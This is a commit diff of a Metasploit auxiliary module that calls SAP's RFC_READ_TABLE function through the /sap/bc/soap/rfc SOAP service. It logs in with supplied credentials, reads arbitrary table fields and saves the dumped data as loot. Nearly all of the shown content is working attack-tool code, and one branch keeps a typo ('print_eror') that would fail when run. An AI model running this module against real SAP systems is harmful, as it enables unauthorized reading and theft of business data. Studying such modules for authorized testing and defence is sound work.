@@ -26,29 +26,37 @@ class Metasploit4 < Msf::Auxiliary
26
26
27
27
def initialize
28
28
super (
29
- 'Name' => 'SAP RFC RFC_READ_TABLE' ,
29
+ 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data ' ,
30
30
'Description' => %q{
31
- This module makes use of the RFC_READ_TABLE Remote Function Call (via SOAP) to read
32
- data from tables.
33
- } ,
34
- 'References' => [ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ] ] ,
35
- 'Author' => [ 'Agnivesh Sathasivam' , 'nmonkee' ] ,
36
- 'License' => BSD_LICENSE
37
- )
31
+ This module makes use of the RFC_READ_TABLE Function to read data from tables using
32
+ the /sap/bc/soap/rfc SOAP service.
33
+ } ,
34
+ 'References' =>
35
+ [
36
+ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
37
+ ] ,
38
+ 'Author' =>
39
+ [
40
+ 'Agnivesh Sathasivam' ,
41
+ 'nmonkee'
42
+ ] ,
43
+ 'License' => MSF_LICENSE
44
+ )
38
45
39
- register_options (
40
- [
41
- OptString . new ( 'CLIENT' , [ true , 'Client' , nil ] ) ,
42
- OptString . new ( 'USERNAME' , [ true , 'Username' , nil ] ) ,
43
- OptString . new ( 'PASSWORD' , [ true , 'Password' , nil ] ) ,
44
- OptString . new ( 'TABLE' , [ true , 'Table to read' , nil ] ) ,
45
- OptString . new ( 'FIELDS' , [ true , 'Fields to read' , '*' ] )
46
- ] , self . class )
46
+ register_options (
47
+ [
48
+ Opt ::RPORT ( 8000 ) ,
49
+ OptString . new ( 'CLIENT' , [ true , 'Client' , nil ] ) ,
50
+ OptString . new ( 'USERNAME' , [ true , 'Username' , nil ] ) ,
51
+ OptString . new ( 'PASSWORD' , [ true , 'Password' , nil ] ) ,
52
+ OptString . new ( 'TABLE' , [ true , 'Table to read' , nil ] ) ,
53
+ OptString . new ( 'FIELDS' , [ true , 'Fields to read' , '*' ] )
54
+ ] , self . class )
47
55
end
48
56
49
57
def run_host ( ip )
50
58
columns = [ ]
51
- columns << '*' if datastore [ 'FIELDS' ] . nil?
59
+ columns << '*' if datastore [ 'FIELDS' ] . nil? or datastore [ 'FIELDS' ] . empty?
52
60
if datastore [ 'FIELDS' ]
53
61
columns . push ( datastore [ 'FIELDS' ] ) if datastore [ 'FIELDS' ] =~ /^\w ?/
54
62
columns = datastore [ 'FIELDS' ] . split ( ',' ) if datastore [ 'FIELDS' ] =~ /\w *,\w */
@@ -77,8 +85,6 @@ def exec(ip,fields)
77
85
user_pass = Rex ::Text . encode_base64 ( datastore [ 'USERNAME' ] + ":" + datastore [ 'PASSWORD' ] )
78
86
print_status ( "[SAP] #{ ip } :#{ rport } - sending SOAP RFC_READ_TABLE request" )
79
87
begin
80
- error = ''
81
- success = ''
82
88
res = send_request_raw ( {
83
89
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN' ,
84
90
'method' => 'POST' ,
@@ -91,7 +97,7 @@ def exec(ip,fields)
91
97
'Content-Type' => 'text/xml; charset=UTF-8'
92
98
}
93
99
} , 45 )
94
- if res and res . code ! 500 and res . code != 200
100
+ if res and res . code != 500 and res . code != 200
95
101
# to do - implement error handlers for each status code, 404, 301, etc.
96
102
if res . body =~ /<h1>Logon failed<\/ h1>/
97
103
print_error ( "[SAP] #{ ip } :#{ rport } - login failed!" )
@@ -102,36 +108,41 @@ def exec(ip,fields)
102
108
elsif res and res . body =~ /Exception/
103
109
response = res . body
104
110
error = response . scan ( %r{<faultstring>(.*?)</faultstring>} )
105
- success = false
111
+ 0 . upto ( error . length -1 ) do |i |
112
+ print_error ( "[SAP] #{ ip } :#{ rport } - error #{ error [ i ] } " )
113
+ end
106
114
return
107
- else
108
- response = res . body if res
109
- success = true
110
- end
111
- if success
115
+ elsif res
116
+ response = res . body
112
117
output = response . scan ( %r{<WA>([^<]+)</WA>} ) . flatten
113
118
print_status ( "[SAP] #{ ip } :#{ rport } - got response" )
114
119
saptbl = Msf ::Ui ::Console ::Table . new (
115
120
Msf ::Ui ::Console ::Table ::Style ::Default ,
116
- 'Header' => "[SAP] RFC_READ_TABLE" ,
117
- 'Prefix' => "\n " ,
118
- 'Postfix' => "\n " ,
119
- 'Indent' => 1 ,
120
- 'Columns' => [ "Returned Data" ]
121
- )
121
+ 'Header' => "[SAP] RFC_READ_TABLE" ,
122
+ 'Prefix' => "\n " ,
123
+ 'Postfix' => "\n " ,
124
+ 'Indent' => 1 ,
125
+ 'Columns' => [ "Returned Data" ]
126
+ )
122
127
0 . upto ( output . length -1 ) do |i |
123
128
saptbl << [ output [ i ] ]
124
129
end
125
130
print ( saptbl . to_s )
126
- end
127
- if !success
128
- 0 . upto ( error . length -1 ) do |i |
129
- print_error ( "[SAP] #{ ip } :#{ rport } - error #{ error [ i ] } " )
130
- end
131
+ this_service = report_service (
132
+ :host => ip ,
133
+ :port => rport ,
134
+ :name => 'sap' ,
135
+ :proto => 'tcp'
136
+ )
137
+ loot_path = store_loot ( "sap.tables.data" , "text/plain" , ip , saptbl . to_s , "#{ ip } _sap_#{ datastore [ 'TABLE' ] . downcase } .txt" , "SAP Data" , this_service )
138
+ print_good ( "[SAP] #{ ip } :#{ rport } - Data stored in #{ loot_path } " )
139
+ return
140
+ else
141
+ print_eror ( "[SAP] #{ ip } :#{ rport } - Unknown error" )
142
+ return
131
143
end
132
144
rescue ::Rex ::ConnectionError
133
145
print_error ( "[SAP] #{ ip } :#{ rport } - Unable to connect" )
134
- return false
135
146
end
136
147
end
137
148
end
0 commit comments